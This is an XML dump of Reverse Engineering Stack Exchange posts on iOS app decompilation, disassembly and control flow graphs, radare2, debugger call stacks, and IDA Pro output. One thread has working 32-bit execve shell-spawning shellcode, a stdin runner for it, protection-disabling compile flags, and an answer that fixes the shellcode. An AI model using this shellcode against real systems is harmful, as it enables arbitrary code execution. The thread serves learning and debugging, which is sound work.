  <row Id="16550" PostTypeId="1" CreationDate="2017-10-15T10:52:27.563" Score="1" ViewCount="3189" Body="&lt;p&gt;I want to write an automatic process that downloads an ios app and decompile it?&#xA;I couldn't find any source or method to download an ios app without using any Apple Device.&lt;/p&gt;&#xA;" OwnerUserId="21950" LastActivityDate="2017-10-16T14:03:33.350" Title="Download and Decompile an Ios app" Tags="|decompilation|ios|" AnswerCount="1" CommentCount="5" ClosedDate="2017-10-20T18:48:18.207" ContentLicense="CC BY-SA 3.0" />
  <row Id="16553" PostTypeId="1" AcceptedAnswerId="16559" CreationDate="2017-10-15T17:10:35.957" Score="1" ViewCount="2454" Body="&lt;p&gt;I am working on a basic shellcode that will spawn a shell after getting called in a 32-bit program.&#xA;Here is the shellcode i'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor    %eax,%eax  &#xA;push   %eax  &#xA;push   $0x68732f2f  &#xA;push   $0x6e69622f  &#xA;mov    %esp,%ebx  &#xA;push   %eax  &#xA;push   %ebx  &#xA;mov    %esp,%ecx  &#xA;mov    $0xb,%al  &#xA;int    $0x80  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Source: &lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-827.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://shell-storm.org/shellcode/files/shellcode-827.php&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am successfully using this shellcode when i hardcode it inside the exploited program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char *shellcode = &quot;\x31[...]x80&quot;;  &#xA;int main(void)  &#xA;{  &#xA;    (*(void(*)()) shellcode)();  &#xA;    return 0;  &#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when i try to read the shellcode from the standard input, i get a segmentation fault instead. This is the program used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include [...]&#xA;typedef void (*func)(void);&#xA;int main(void)&#xA;{&#xA;    char input[4096];&#xA;    read(0, input, 4096);&#xA;    ((func)&amp;amp;input)();&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i debug this program with gdb, i can see that everything goes as planned until this instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int    $0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the program doesn't do anything and continue to the next instruction like nothing happened, which make the program crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first i thought this was because i didn't disabled some execution prevention, but i'm compiling with the following flags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc shell.c -o shell -fno-stack-protector -m32 -z execstack&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could really use help on it, I've been stuck on it all day.&lt;/p&gt;&#xA;" OwnerUserId="21953" LastActivityDate="2019-10-05T09:07:26.123" Title="Basic shellcode doesn't work when read from stdin" Tags="|x86|linux|shellcode|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16555" PostTypeId="2" ParentId="16463" CreationDate="2017-10-16T00:44:14.497" Score="1" Body="&lt;p&gt;Because the functions were never called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The app indeed tricked me. It's not because a function is named &lt;code&gt;user_click_on_blue_button&lt;/code&gt; that it will be called when the user click on the blue button. Another function, with a less obvious name, was used instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't find my previous account, so using a new one.&lt;/p&gt;&#xA;" OwnerUserId="21957" LastActivityDate="2017-10-16T00:44:14.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16557" PostTypeId="1" CreationDate="2017-10-16T00:50:51.707" Score="3" ViewCount="1810" Body="&lt;p&gt;I want to write my own soft, that can disassemble code, and turn it into conrol flow graph. Now i know the basics of graph theory, but i don't get where i should start, do i need to basically keep the tracing of all &lt;code&gt;call&lt;/code&gt;,&lt;code&gt;jmp&lt;/code&gt;,&lt;code&gt;ret&lt;/code&gt;,&lt;code&gt;jxx&lt;/code&gt; instructions to detect individual blocks of instructions to make blocks of code into graph nodes? Can someone give me kick where to start?&lt;/p&gt;&#xA;" OwnerUserId="21959" LastActivityDate="2018-03-03T12:04:54.000" Title="Building a control flow graph from machine code" Tags="|disassembly|assembly|machine-code|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16558" PostTypeId="1" AcceptedAnswerId="16562" CreationDate="2017-10-16T02:08:11.477" Score="3" ViewCount="2035" Body="&lt;p&gt;I started to use radare2 to debug a PE file because it stops working as soon as I run it. When I attach my debugger and continue execution to the point where the exception is thrown I get a memory address in which the exception occurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do with this address to further analyze the problem at hand?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c484f\mscorlib.ni.dll) mscorlib.ni.dll&#xA;(14116) loading library at 77130000 (C:\Windows\SysWOW64\ole32.dll) ole32.dll&#xA;(14116) loading library at 70100000 (C:\Windows\SysWOW64\uxtheme.dll) uxtheme.dll&#xA;(14116) loading library at 700A0000 (C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll) mscorjit.dll&#xA;(14116) loading library at 6C3C0000 (C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll) Culture.dll&#xA;(14116) unloading library at 6C3C0000 (C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll) Culture.dll&#xA;(14116) Unknown exception e06d7363 in thread 10352&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21961" LastEditorUserId="53" LastEditDate="2017-10-16T16:49:44.893" LastActivityDate="2017-10-17T10:06:28.123" Title="Disassembling at a memory address" Tags="|disassembly|windows|pe|radare2|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16559" PostTypeId="2" ParentId="16553" CreationDate="2017-10-16T02:19:09.537" Score="3" Body="&lt;p&gt;With the shellcode given I was not able to get a shell. If you &lt;code&gt;strace&lt;/code&gt; the binary when getting input from the stack&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;execve(&quot;/bin//sh&quot;, [&quot;/bin//sh&quot;], [/* 0 vars */]) = -1 EFAULT (Bad address)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;char *const envp[]&lt;/code&gt; is passed in edx register which is not properly set. To patch this I changed shellcode to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 0:    31 c0                    xor    eax, eax&#xA; 2:    50                       push   eax&#xA; 3:    68 2f 2f 73 68           push   0x68732f2f&#xA; 8:    68 2f 62 69 6e           push   0x6e69622f&#xA; d:    89 e3                    mov    ebx, esp&#xA; f:    50                       push   eax&#xA;10:    53                       push   ebx&#xA;11:    89 e1                    mov    ecx, esp&#xA;13:    b0 0b                    mov    al, 0xb&#xA;15:    31 d2                    xor    edx, edx&#xA;17:    cd 80                    int    0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will zero &lt;code&gt;edx&lt;/code&gt; and the execve will run successfully.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;execve(&quot;/bin//sh&quot;, [&quot;/bin//sh&quot;], NULL)  = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In case where you stored shellcode while compiling, I think it was luck that &lt;code&gt;edx&lt;/code&gt; pointed to an address which was 0.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2017-10-16T02:19:09.537" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16560" PostTypeId="2" ParentId="16558" CreationDate="2017-10-16T03:03:02.787" Score="0" Body="&lt;p&gt;From the manual:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;'p' stands for print.&lt;/li&gt;&#xA;&lt;li&gt;'d' stands for disassemble (raw usually)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pd @ 0xYourAddress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: I am unsure if this will work in the event of an exception.&lt;/p&gt;&#xA;" OwnerUserId="20698" LastEditorUserId="18698" LastEditDate="2017-10-17T10:06:28.123" LastActivityDate="2017-10-17T10:06:28.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16561" PostTypeId="2" ParentId="16557" CreationDate="2017-10-16T05:08:08.660" Score="7" Body="&lt;p&gt;This could go serveral ways depending on whatever you want to use third party software. For example, you could use the stream-disassembler &lt;strong&gt;diStorm&lt;/strong&gt; to implement linear disassembly. When you have to keep track of all branch targets and progress then one after another starting at the entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do this cross-platform, you could even pitch in an intermediate language like &lt;strong&gt;VEX&lt;/strong&gt; or &lt;strong&gt;REIL&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember though, that finding the next branch to disassemble isn't always easy: You will encounter problems with opaque predicates and indirect branches... you could implement and evaluate data-flow analysis at this point, but this would go to far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some concepts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Linear disassembly&lt;/strong&gt;: Start at the given offset and go. You can get the start of the next address from the length of the instruction before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Recursive disassembly&lt;/strong&gt;: Start linear disassembly at each branch target starting from the entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Heuristic disassembly&lt;/strong&gt;: This term often describes everything improving on the recursive disassembly for example by detecting jump tables, opque prediates or speculative disassembly of code sections to discover more code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-10-16T05:08:08.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16562" PostTypeId="2" ParentId="16558" CreationDate="2017-10-16T08:41:01.807" Score="6" Body="&lt;p&gt;&lt;em&gt;Since the question in the subject is slightly different than the question in the body of your question, I'll focus on the first one.&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Disassemble at a specific address&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In order to disassemble the code at a specific memory address using radare2 you should use the &lt;code&gt;pd @ &amp;lt;address&amp;gt;&lt;/code&gt; command. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;pd[?] [sz] [a] [b] — disassemble N opcodes (pd) or N bytes&#xA;  (pD)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After attaching radare to the program you should be able to print the disassembly in this specific address. Assuming the &lt;code&gt;pid&lt;/code&gt; of the program is &lt;em&gt;317&lt;/em&gt;:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ radare2 -d 317&#xA;= attach 317 317&#xA;bin.baddr 0x00400000&#xA;Using 0x400000&#xA;asm.bits 64&#xA;&#xA;[0x7f2e51727230]&amp;gt; pd @ &amp;lt;address&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pd&lt;/code&gt; is a subcommand of &lt;code&gt;p&lt;/code&gt; and stands for &lt;strong&gt;p&lt;/strong&gt;rint &lt;strong&gt;d&lt;/strong&gt;isassembly. You can check &lt;code&gt;p?&lt;/code&gt; and especially &lt;code&gt;pd?&lt;/code&gt; for more relevant subcommands. Adding &lt;code&gt;?&lt;/code&gt; at the end of most of the commands in radare will print its help and its subcommands. By default, &lt;code&gt;pd&lt;/code&gt; prints &lt;em&gt;b&lt;/em&gt; instructions from the specified address where &lt;em&gt;b&lt;/em&gt; is the default basic-block size. The default size of &lt;em&gt;b&lt;/em&gt; is 0x100 but you can change it easily using &lt;code&gt;b &amp;lt;size&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;@&lt;/code&gt; sign is radare's temporary seek address so whenever you want to print the disassembly in a specific address you should use it. The number specified before the &lt;code&gt;@&lt;/code&gt; sign is the number of instructions to print. A common mistake is executing &lt;code&gt;pd&lt;/code&gt; with the address before &lt;code&gt;@&lt;/code&gt;. Thus, executing &lt;code&gt;pd 0x400000&lt;/code&gt; would print &lt;strong&gt;0x400000 instructions&lt;/strong&gt; from the current seek.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;The exception&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You received &lt;em&gt;&quot;Unknown exception e06d7363&quot;&lt;/em&gt; which is an exception generated by &lt;em&gt;Microsoft Visual C++ compiler&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As stated in Microsoft's &lt;a href=&quot;https://support.microsoft.com/en-us/help/185294/prb-exception-code-0xe06d7363-when-calling-win32-seh-apis&quot; rel=&quot;noreferrer&quot;&gt;support page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Cause&lt;/strong&gt;&lt;br&gt;&#xA;  All Visual C++ exceptions thrown from code generated by the&#xA;  Microsoft Visual C++ compiler contain this error code. Because this is&#xA;  a compiler-generated error, the code is not listed in the Win32 API&#xA;  header files. The code is actually a cryptic mnemonic device, with the&#xA;  initial &quot;E&quot; standing for &quot;exception&quot; and the final 3 bytes (0x6D7363)&#xA;  representing the ASCII values of &quot;msc&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To continue your analysis I'd suggest you to read &lt;a href=&quot;https://blogs.msdn.microsoft.com/oldnewthing/20100730-00/?p=13273&quot; rel=&quot;noreferrer&quot;&gt;Decoding the parameters of a thrown C++ exception (0xE06D7363)&lt;/a&gt; and its &lt;a href=&quot;https://blogs.msdn.microsoft.com/oldnewthing/20160915-00/?p=94316&quot; rel=&quot;noreferrer&quot;&gt;revisited&lt;/a&gt; article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the addresses of the executable in the memory might change in each run, depends on your system and the program itself. Therefore, sometimes you won't be able to predict what would be the address which causes the exception.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/debugger/migration.html&quot; rel=&quot;noreferrer&quot;&gt;Migration from ida, GDB or WinDBG&lt;/a&gt; page from &lt;em&gt;radare2 book&lt;/em&gt; to see radare's corresponding commands to WinDBG's.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-10-16T08:41:01.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16563" PostTypeId="1" AcceptedAnswerId="16564" CreationDate="2017-10-16T09:45:27.743" Score="2" ViewCount="772" Body="&lt;p&gt;There is something I am not understanding. Why do debuggers sometimes show only part of the call stack? The ones I tried are WinDbg and OllyDbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me explain what I mean. Consider this example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I launched an application, and when a dialog box showed up, I attached OllyDbg to the application and paused to look at the call stack. However, I see this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4lVTP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4lVTP.png&quot; alt=&quot;Call stack&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, this is the call stack of the main thread of the application. Unfortunately, the presented call stack seems to stop at &lt;code&gt;ntdll&lt;/code&gt; and does not continue to show the functions in the executable. Because this is the main thread, &lt;code&gt;main()&lt;/code&gt; has definitely not returned as otherwise the process would have terminated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try using WinDbg, a similar thing happens for me as shown &lt;a href=&quot;https://stackoverflow.com/questions/46602527/windbg-not-showing-entire-call-stack&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does this happen, and how do I find the full call stack?&lt;/p&gt;&#xA;" OwnerUserId="15540" LastEditorUserId="15540" LastEditDate="2017-10-16T10:00:57.647" LastActivityDate="2017-10-16T10:35:27.217" Title="Why do debuggers sometimes not show entire call stack?" Tags="|windows|ollydbg|callstack|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16564" PostTypeId="2" ParentId="16563" CreationDate="2017-10-16T10:35:27.217" Score="3" Body="&lt;p&gt;Olly and WinDbg generate the 'call stack' by parsing the actual stack utilizing function signatures and calling convention. When the disassembler doesn't have the signature (e.g. when the developer didn't disclose the function signatures) it can only take educated guesses based on push- and pop-instructions (thin ice).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, you actually need this information to calculate the size of the stack frames properly. Without this information, you can not tell if there is data on the stack or if its the return address of the next function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can overcome these issues by keeping track of calls yourself without relying on the actual stack, maintaining a call stack yourself. In cases like this, implementation often limits the depth of the tracking list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, I can not tell you how its exactly implemented in OllyDbg. If you consider utilizing a more modern debugger, you may reach active developers capable of helping you with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this is the current &lt;a href=&quot;http://x64dbg.readthedocs.io/en/latest/gui/views/CallStack.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;state of the call stack in x64dbg&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When Show suspected call stack frame option in the context menu in&#xA;  call stack view is active, it will search through the entire stack for&#xA;  possible return addresses. When it is inactive, it will use standard&#xA;  stack walking algorithm to get the call stack. It will typically get&#xA;  more results when Show suspected call stack frame option is active,&#xA;  but some of which may not be actual call stack frames.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-10-16T10:35:27.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16565" PostTypeId="2" ParentId="16550" CreationDate="2017-10-16T14:03:33.350" Score="3" Body="&lt;p&gt;AFAIK there is no way to download apps without a device, since the necessary keys are embedded in the CPU and cannot be extracted using software means (this also prevents offline decryption of apps). However, with a jailbroken device it's possible to simulate user input in the App Store app and download the apps automatically (and then decrypt them). Check &lt;a href=&quot;https://recon.cx/2017/brussels/resources/slides/RECON-BRX-2017-Analysing_ios_Apps.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this presentation&lt;/a&gt; (&lt;a href=&quot;https://recon.cx/media-archive/2017/brx/recon2017-brx-15-lenar-safin-yaroslav-alexandrov-egor-fominykh-alexander-chernov-Analyzing-iOS-apps-road-from-AppStore-to-security-analysis-report.mp4&quot; rel=&quot;nofollow noreferrer&quot;&gt;video&lt;/a&gt;) from last Recon Brussels for some ideas.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-10-16T14:03:33.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16567" PostTypeId="1" AcceptedAnswerId="16568" CreationDate="2017-10-17T00:24:01.427" Score="1" ViewCount="336" Body="&lt;p&gt;Hello I try to learn reverse engineering, so i use from &lt;code&gt;process hacker&lt;/code&gt; to view dynamic strings in the process's memory... (&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/11147/21966&quot;&gt;more info&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i get something like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Address  Length Result&#xA;-----------------------&#xA;0x853978 (43): hello&#xA;0xfb5e1a8 (86): hello alex !&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now i want to know how can i get/find reference address for them ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try with &lt;code&gt;WinHex&lt;/code&gt; but i cant, i don't know how can i do this, is it possible to find reference assembly address in file form memory address (for ex : &lt;code&gt;0x853978&lt;/code&gt;) or this is not possible in any way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone can help ?&lt;/p&gt;&#xA;" OwnerUserId="21966" LastActivityDate="2017-10-17T05:46:16.667" Title="possible to get reference assembly address in file for special memory address?" Tags="|disassembly|assembly|binary-analysis|memory|processhacker|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16568" PostTypeId="2" ParentId="16567" CreationDate="2017-10-17T05:05:05.483" Score="2" Body="&lt;p&gt;When you are using Process Hacker to find strings, you will look at a running process. Process Hacker iterates over the mapped parts of the processes virtual memory and tries to parse everything it finds as a string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use WinHex to look at your binary, these sections have not been mapped yet and are cramped together into the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl:dr;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use another program to check for strings (e.g. exe explorer, pe studio, ida, binaryninja, ...), use a debugger to find the strings at the adresses process hacker tells you, or calculate the file offset utilizing the section information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you clarify what you are trying to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want to find references to strings in code, you are best off utilizing a decent disassembler (binaryninja, radare2, ida pro). It will show you references it can find:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UI1nW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UI1nW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="3162" LastEditDate="2017-10-17T05:46:16.667" LastActivityDate="2017-10-17T05:46:16.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16569" PostTypeId="1" CreationDate="2017-10-17T08:13:59.257" Score="1" ViewCount="852" Body="&lt;p&gt;I suddenly noticed that my c file produced by ida pro for some of the ipa files is zero bytes. However, I'm able to decompile other ipa files, but I got some which is not being decompiled properly it seems and hence 0 bytes of c file produced. I would like to put up the ida logs here for reference:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BinExport 9 (@a0efa77, Mar  8 2016), (c)2004-2011 zynamics GmbH,&#xA;(c)2011-           2016 Google Inc.&#xA;&#xA;  bytes   pages size description&#xA;--------- ----- ---- --------------------------------------------  &#xA;16326656  1993 8192 allocating memory for b-tree...  &#xA;16326656  1993 8192 allocating memory for virtual array...  &#xA;262144      32 8192 allocating memory for name pointers...&#xA;-----------------------------------------------------------------  &#xA;32915456            total memory allocated&#xA;&#xA;Loading processor module /Applications/IDA Pro 6.95/idaq64.app/Contents/MacOS/procs/pc64.imc64 for metapc...OK &#xA;&#xA;Autoanalysis subsystem has been initialized. Possible file format: Fat Mach-O file, 2. ARM64 (/Applications/IDA Pro&#xA;95/idaq64.app/Contents/MacOS/loaders/macho64.lmc64) &#xA;&#xA;Possible file format: Fat Mach-O file, 1. ARMv7 (/Applications/IDA Pro 6.95/idaq64.app/Contents/MacOS/loaders/macho64.lmc64) Loading file&#xA;path to binary/binary' into database... &#xA;&#xA;Detected file format: Fat Mach-O file, 2. ARM64 Unloading IDP module /Applications/IDA Pro&#xA;95/idaq64.app/Contents/MacOS/procs/pc64.imc64... &#xA;&#xA;Loading processor module /Applications/IDA Pro 6.95/idaq64.app/Contents/MacOS/procs/arm64.imc64 for arm...OK&#xA;&#xA;Type library 'macosx64' loaded. Applying types... &#xA;&#xA;Types applied to 0 names.&#xA;&#xA;  0. Creating a new segment  (0000000100088000-0000000100264CAA) ... ... OK&#xA;&#xA;entries start past the end of the indirect symbol table (reserved1 field greater than the table size) &#xA;&#xA;entries start past the end of the indirect symbol table (reserved1 field greater than the table size)&#xA;&#xA;entries start past the end of the indirect symbol table (reserved1 field greater than the table size) &#xA;&#xA;IDAPython Hex-Rays bindings initialized. &#xA;&#xA;DWARF: Looking for Mach-O DWARF file at &quot;path to binary/binary.dSYM/Contents/Resources/DWARF/binary&quot;... &#xA;&#xA;DWARF: No.&#xA;&#xA;Marking typical code sequences... Flushing buffers, please wait...ok&#xA;&#xA;File '/path to binary/binary' has been successfully loaded into the database. &#xA;&#xA;Compiling file '/Applications/IDA Pro 6.95/idaq64.app/Contents/MacOS/idc/ida.idc'... &#xA;&#xA;Executing function 'main'... Compiling file '/Applications/IDA Pro 6.95/idaq64.app/Contents/MacOS/idc/onload.idc'... &#xA;&#xA;Executing function 'OnLoad'... IDA is analysing the input file... You may start to explore the input file right now.&#xA;---------------------------------------------------------------------------------------------------------- &#xA;Python 2.7.10 (default, Feb  7 2017, 00:08:15)  [GCC 4.2.1 Compatible&#xA;Apple LLVM 8.0.0 (clang-800.0.34)]  IDAPython 64-bit v1.7.0 final&#xA;(serial 0) (c) The IDAPython Team &amp;lt;idapython@googlegroups.com&amp;gt;&#xA;---------------------------------------------------------------------------------------------------------- &#xA;Propagating type information... &#xA;Function argument information has beenpropagated &#xA;The initial autoanalysis has been finished.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Being new to ida, I could not understand the exact reason, but I may guess that it's not able to find the main entry point..?? But then why if so??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue or redirection to an appropriate helpful link would be really great. Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I should attach the ida screenshot as well.&lt;a href=&quot;https://i.stack.imgur.com/dUVsu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dUVsu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20651" LastEditorUserId="60" LastEditDate="2017-10-18T08:16:29.643" LastActivityDate="2017-10-18T08:16:29.643" Title="Functions window empty for some ipa using ida pro" Tags="|ida|decompilation|ios|idapro-sdk|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16570" PostTypeId="2" ParentId="16557" CreationDate="2017-10-17T08:24:04.513" Score="2" Body="&lt;p&gt;Norwald's answer better at explaining default disassembly strategies. But, I want to share my experience on my discontinued project about a metamorphic virus which disassembles binary code and finds ROP chains to make the same virus semantically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;strong&gt;Capstone Framework&lt;/strong&gt; to disassemble and &lt;strong&gt;GraphViz&lt;/strong&gt; for visualization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For semantic analysis strategy, you can check code backward after disassembled all .text section and find branch instructions. After that, you can trace branching with tracing data associated with the branch instruction. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/khFBK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/khFBK.jpg&quot; alt=&quot;Tracing branching instructions&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it works for you.&lt;/p&gt;&#xA;" OwnerUserId="18804" LastEditorUserId="18804" LastEditDate="2018-03-03T12:04:54.000" LastActivityDate="2018-03-03T12:04:54.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16571" PostTypeId="2" ParentId="16557" CreationDate="2017-10-17T08:54:44.170" Score="2" Body="&lt;p&gt;The techniques already described by the others are quite well known and, unfortunately incorrect in many cases. The current state-of-the-art in matter of disassembly is using what we call '&lt;em&gt;symbolic execution&lt;/em&gt;'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you will need to collect the semantics of each assembly instruction and explore each branch of the possible execution of the program and, when you encounter a choice (an &lt;code&gt;if&lt;/code&gt; statement), you will ask the formula built from the stacking of all these instruction what are the conditions to get a &lt;code&gt;true&lt;/code&gt; and a &lt;code&gt;false&lt;/code&gt;. It will give you the feasible paths and the associated inputs you need to feed the program with to reach the &lt;code&gt;true&lt;/code&gt; branch or the &lt;code&gt;false&lt;/code&gt; branch of this test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique is quite painful to set up because you need to grab the entire semantics of each instruction of the assembly you are considering. But, it turns out that it is quite trustable and quite efficient on average programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blog.trailofbits.com/2017/05/15/magic-with-manticore/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Magic with Manticore&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://arxiv.org/pdf/1610.00502.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;A Survey of Symbolic Execution Techniques&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.cs.umd.edu/~mwh/se-tutorial/symbolic-exec.pdf&quot; rel=&quot;nofollow 